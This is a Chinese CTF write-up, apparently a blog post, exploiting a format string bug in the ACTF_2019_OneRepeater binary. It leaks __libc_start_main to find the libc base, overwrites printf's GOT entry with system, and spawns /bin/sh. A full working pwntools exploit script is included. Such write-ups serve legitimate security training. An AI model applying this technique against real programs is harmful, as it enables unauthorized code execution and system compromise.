格式化漏洞-加载so函数

前言:

有些时候由于程序got没有加载我们需要使用的函数,这个时候我们需要去so中找到我们需要的函数进行调用,下面针对这样的情况进行分析

分析:

下面我们用ACTF_2019_OneRepeater进行分析,首先看下其伪代码

主函数如下,通过while循环不断获取输入,当3的时候退出

当输入2的时候进入带有格式化漏洞的方法中执行,打印传入的参数: 

 

当输入1的时候首先打印参数1,然后需要我们输入数据,将用户输入放入到参数1的地址中

 

整个流程很清楚,首先利用1我们可以将我们的输入保存在指定地址中,然后利用2将我们第一步输入的数据给print执行,进而触发格式化漏洞

下面看下程序有什么安全策略

没有任何安全策略,那这样我们有两种修改方案,一个是把shellcode写入到栈中,然后修改返回地址到栈中去执行,第二种就是修改符合条件的方法地址为system地址,然后执行。我们看下got表:

 

查看发现没有sysetm函数,无论用哪种方法,我们都需要得到system方法的地址,这个时候我们就需要去so种去找到当前内存sysetm函数地址,然后替换调用,system方法位于lidc-2.27.so中,使用如下命令查看:

nm -D libc-2.27.so | grep system

可以看到 lidc-2.27.so存在导出函数system,但是我们没有办法直接调用,因为这个只是静态文件中的地址,加载到内存的过程中会根据系统加载到指定的空间中,会提供一个地址作为空间起始然后加上偏移地址得到方法地址,所以我们需要去系统中找到这个地址

如何找到这个地址,首先我们要看看具体的内存区段布局

info proc mappings

可以看到基地址为0xf7df2000,那么用这个地址加上上面的偏移地址0x3d250为0xF7E2F250,我们反汇编看下

可以看到是对应的system地址,那么难点就是如何获取到这个基地址0xf7df2000。

其实也很简单,就是找到一个系统调用了且也在 lidc-2.27.so中的方法,通过获取这个方法在系统的内存地址,然后减去其偏移地址就知道了基地址

通过哪些可以,直接去got表里找就行,只要在libc里的都可以,这里我选择了start_main,因为好找地址,其他的也可以,这里不局限:

看看 start_main的调用地址,通过这里发现start_main调用了我们的主函数,所以只要主函数返回就会到达start_main地址

首先我们要找到我们输入的内容是输出第几位,由于是32位,可以使用如下测试

aaaa-%1$p-%2$p-%3$p-%4$p-%5$p-%6$p-%7$p-%8$p-%9$p-%10$p-%11$p-%12$p-%13$p-%14$p-%15$p-%16$p-%17$p

由此可以获得是16,对应的地址为0xffffcae0然后下断点到0x080487c6

 可以看到地址位0xffffcefc,那么我们就需要知道如何获得这个地址

0xffffcefc-0xffffcae0=1052/4=263+16=279

通过计算获取了对应的参数,我们要通过对应的0xf7e0ae91获得start_main的地址,看到+241,知道代码位于偏移241的位置,所以-241即可知道起始地址

0xf7e0ae91-241=0xF7E0ADA0

通过查看got表可以看到计算没有错误

现在我们知道了start_main的静态偏移地址0x00018da0

最后计算下0xF7E0ADA0-0x00018da0=0xF7DF2000

地址相同,计算正确,那么我们只需要把这个地址给system加上就行了。

下面我们要找到一个可以替换的方法进行地址替换,分析程序发现printf如果是system就很好,因为参数为我们可以控制

所以最后的代码如下:

from pwn import *

context(arch='i386', os='linux')
#context(arch='i386', os='linux', log_level='debug')

#r = remote('127.0.0.1', 29110)
r = process('./ACTF_2019_OneRepeater')
elf = ELF('ACTF_2019_OneRepeater')
libc = ELF('./libc-2.27.so')

def add(content):
    r.sendlineafter(b'3) Exit', b'1')
    r.sendline(content)

add(b'%279$p')
r.sendlineafter(b'3) Exit', b'2')

r.recvuntil(b'0x')

backaddress = r.recv(8)
print(b'%279$p = ' + backaddress)

libc_start_main = int(backaddress, 16) - 241    

print('[+] libc_start_main = ' + hex(libc_start_main))
print('[+] __libc_start_main = ' + hex(libc.sym[b'__libc_start_main']))

libc_base = libc_start_main - libc.sym[b'__libc_start_main']
print('[+] libc_base = ' + hex(libc_base))
print('[+] system = ' + hex(libc.sym[b'system']))

system_addr = libc_base + libc.sym[b'system']
printf_got = elf.got[b'printf']

p2 = fmtstr_payload(16, {printf_got: system_addr})
add(p2)

r.sendlineafter(b'3) Exit', b'2')
add(b'/bin/sh\x00')
r.sendlineafter(b'3) Exit', b'2')
r.interactive()

执行后如下:

 

可以成功执行调用system执行,完工;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值